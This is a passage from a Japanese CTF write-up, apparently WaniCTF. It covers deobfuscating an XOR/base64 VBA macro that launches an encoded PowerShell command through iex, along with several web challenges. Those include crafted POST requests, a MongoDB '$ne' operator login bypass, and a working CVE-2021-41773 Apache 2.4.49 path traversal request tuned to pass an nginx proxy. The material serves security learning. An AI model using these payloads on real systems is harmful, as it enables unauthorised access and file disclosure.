unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
filename = ActiveWorkbook.Path & "\data.txt"
Open filename For Append As #1
Print #1, str1
Print #1, str2
Close #1
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
If Not InitDone Then Init
Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
Dim ILen As Long: ILen = UBound(IBuf) + 1
If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
Do While ILen > 0
If IBuf(ILen - 1) <> Asc("=") Then Exit Do
ILen = ILen - 1
Loop
Dim OLen As Long: OLen = (ILen * 3) \ 4
Dim Out() As Byte
ReDim Out(0 To OLen - 1) As Byte
Dim ip As Long
Dim op As Long
Do While ip < ILen
Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then Err.Raise vbObjectError, , ""
Dim b0 As Byte: b0 = Map2(i0)
Dim b1 As Byte: b1 = Map2(i1)
Dim b2 As Byte: b2 = Map2(i2)
Dim b3 As Byte: b3 = Map2(i3)
If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then Err.Raise vbObjectError, , ""
Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
Out(op) = o0: op = op + 1
If op < OLen Then Out(op) = o1: op = op + 1
If op < OLen Then Out(op) = o2: op = op + 1
Loop
Base64Decode = Out
End Function
Private Sub Init()
Dim c As Integer, i As Integer
i = 0
For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
Map1(i) = Asc("+"): i = i + 1
Map1(i) = Asc("/"): i = i + 1
For i = 0 To 127: Map2(i) = 255: Next
For i = 0 To 63: Map2(Map1(i)) = i: Next
InitDone = True
End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
Dim b1() As Byte: b1 = s
Dim l As Long: l = (UBound(b1) + 1) \ 2
If l = 0 Then ConvertStringToBytes = b1: Exit Function
Dim b2() As Byte
ReDim b2(0 To l - 1) As Byte
Dim p As Long
For p = 0 To l - 1
Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
If c >= 256 Then c = Asc("?")
b2(p) = c
Next
ConvertStringToBytes = b2
End Function
Private Function unxor(ciphertext As Variant, start As Integer)
Dim cleartext As String
Dim key() As Byte
key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
cleartext = ""
For i = LBound(ciphertext) To UBound(ciphertext)
cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
Next
unxor = cleartext
End Function
出力結果は次のPowershellスクリプトになった。
powershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA
難読化されているように見えるが、Base64の亜種である。復号すると次のPowershellスクリプトになる。
.('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()
一番先頭の.('ieX')
で文字列をコードとして実行させており、これを削除してPowershellで実行すれば復号された文字列がそのまま表示される。
PS > (nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()
echo "Yes, we love VBA!"
$input = Read-Host "Password"
if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {
Write-Output "Correct!"
} else {
Write-Output "Incorrect"
}
FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}
へっへっへ...JavaScriptは難読化したから、誰もパスワードはわからないだろう...
え? ブラウザの開発者ツールのxxx機能から見れちゃうって!?
https://sourcemap.web.wanictf.org
ソースコードはそのままでは難読化されている。ページを開いて、例えば火狐なら開発ツールのデバッガーからソースファイルを見ると解除されたスクリプトが見える。
FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}
HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!
https://post.web.wanictf.org/
ほとんどBurpSuiteを使ってリクエストヘッダをGETからPOSTに書き換えて解いた。
配布されるサーバー側のファイルのapp.jsを見ると各チャレンジでflagが出る条件がわかる。まずはチャレンジ1。
app.js /chal/1の抜粋app.post("/chal/1", function (req, res) {
let FLAG = null;
if (req.body.data === "hoge") {
FLAG = process.env.FLAG_PART1;
}
res.render("chal", { FLAG, chal: 1 });
});
POST RequestかつRequest Bodyがhogeであること。次のHTTPリクエストで通る。
Challenge1 リクエストヘッダPOST /chal/1 HTTP/2
Host: post.web.wanictf.org
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
data=hoge
Congratulations! Challenge 1 FLAG: y0u
続いてチャレンジ2
app.js /chal/2の抜粋app.post("/chal/2", function (req, res) {
// リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信
let FLAG = null;
if (
req.headers["user-agent"].includes("Mozilla/5.0") &&
req.body.data === "hoge"
) {
FLAG = process.env.FLAG_PART2;
}
res.render("chal", { FLAG, chal: 2 });
});
POST RequestかつRequest Bodyのdata変数がhogeであり、かつUser-AgentにMozilla/5.0が入っていれば通る。
Challenge2 リクエストヘッダPOST /chal/2 HTTP/2
Host: post.web.wanictf.org
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
data=hoge
Congratulations! Challenge 2 FLAG: ar3
次はチャレンジ3
app.js /chal/3の抜粋app.post("/chal/3", function (req, res) {
let FLAG = null;
if (req.body.data?.hoge === "fuga") {
FLAG = process.env.FLAG_PART3;
}
res.render("chal", { FLAG, chal: 3 });
});
data.hoge変数が必要。次のペイロードで表現できる。
Challenge3 リクエストヘッダPOST /chal/3 HTTP/2
Host: post.web.wanictf.org
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
data[hoge]=fuga
Congratulations! Challenge 3 FLAG: http
次はチャレンジ4
app.js /chal/4の抜粋app.post("/chal/4", function (req, res) {
let FLAG = null;
if (req.body.hoge === 1 && req.body.fuga === null) {
FLAG = process.env.FLAG_PART4;
}
res.render("chal", { FLAG, chal: 4 });
});
hogeとfugaの2つの変数が必要。データ形式をJSONに変更して解いてみた。
Challenge4 リクエストヘッダPOST /chal/4 HTTP/2
Host: post.web.wanictf.org
Content-Length: 9
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
{"hoge":1,"fuga":null}
Congratulations! Challenge 4 FLAG: p0st
最後はチャレンジ5
app.js /chal/4の抜粋app.post("/chal/5", function (req, res) {
let FLAG = null;
if (req.files?.data?.md5 === md5file("public/images/wani.png")) {
FLAG = process.env.FLAG_PART5;
}
res.render("chal", { FLAG, chal: 5 });
});
アップロードされた画像のMD5ハッシュ値を比較している。対象の画像は配布されている。もうリクエストヘッダを書き換えてやるのは大変なので、チャレンジ5のページをWebブラウザの開発者モードからタグ編集を行ってファイルアップロードする機能を追加して解いた。
次のHTMLをページ中に挿入する。
<form method="POST" action="/5" enctype="multipart/form-data">
<input type="file" name="data"/><br>
<input type="submit" value="submit"/>
</form>
画像をアップロードしてflag入手。
Congratulations! Challenge 5 FLAG: m@ster!
FLAG{y0u_ar3_http_p0st_m@ster!}
NoSQLを使ったサイトを作ってみました。ログイン後に/にアクセスすると秘密のページを見ることができます。
https://nosql.web.wanictf.org/
NoSQLインジェクション問題である。配布されるサーバー側のプログラムのlogin.jsのpost部分を確認する。
app/routes/login.jsrouter.post("/", async function (req, res) {
const client = new MongoClient(uri);
try {
if (!req.body.username || !req.body.password) {
throw "error";
}
await client.connect();
const user = await client.db("nosql").collection("users").findOne({
username: req.body.username,
password: req.body.password,
});
if (!user) {
throw "error";
}
req.session.user = user;
res.redirect("/");
} catch (error) {
const debug = JSON.stringify({
username: req.body.username,
password: req.body.password,
});
res.render("login", { message: "ログインに失敗しました", debug });
} finally {
client.close();
}
});
JSON形式でパースされたusernameとpasswordがそのまま入る。NoSQLではここにオブジェクトを入れて様々な条件を与えることができるので、ログイン時のHTTPリクエストを改ざんしてuserが通るようなオブジェクトを送る。
BurpSuiteを使ってログイン時のリクエストを次のものに書き換えた。Cookieの*****の部分はその都度違う内容。
POST /login HTTP/2
Host: nosql.web.wanictf.org
Cookie: connect.sid=**********************************************************************
Content-Length: 45
Cache-Control: max-age=0
Origin: https://nosql.web.wanictf.org
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://nosql.web.wanictf.org/login
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
{"username":{"$ne":""},"password":{"$ne":""}}
{"$ne":""}
によって、usernameとpasswordが""ではないものが選択されるので1つでもデータがあればヒットする。
ログインに成功するとflagが見れる。
FLAG{n0_sql_1nj3ction}
Webサーバーにロードバランサーをつけたよ!
なんかWebサーバーのバージョンがアレらしいけど、秘密のファイル/flag.txtはそのままでいっか!
https://traversal.web.wanictf.org/
ヒント
- いろいろ設定に違和感が...
- Burp Suiteを使うのがおすすめです
WebのDockerfileを見るとそこには輝くhttpd:2.4.49の文字が。CVE-2021-41773である。
問題文通りBurpSuiteを使ってリクエストヘッダの1行目のリクエストしたいファイルのアドレスを書き換えてディレクトリトラバーサル攻撃を行う。
ただし、GET /cgi-bin/.%2e/conf/httpd.conf HTTP/2
とかやればhttpd.confは見えるが、GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/2
を投げてもngnixに400エラーを返されてしまう。
Apacheの脆弱性を狙いたくてもロードバランサーのngnixの時点で不正なリクエストとして処理されてしまうようだ。
調べると( https://dev.classmethod.jp/articles/apache-cve-alb-nginx/ )にngnixを噛ませた場合のCVE-2021-41733再現方法が見つかったので、次のようにリクエストを投げる。
GET /////////cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/2
FLAG{n61nx_w34k_c0nf16_m3r63_5l45h35}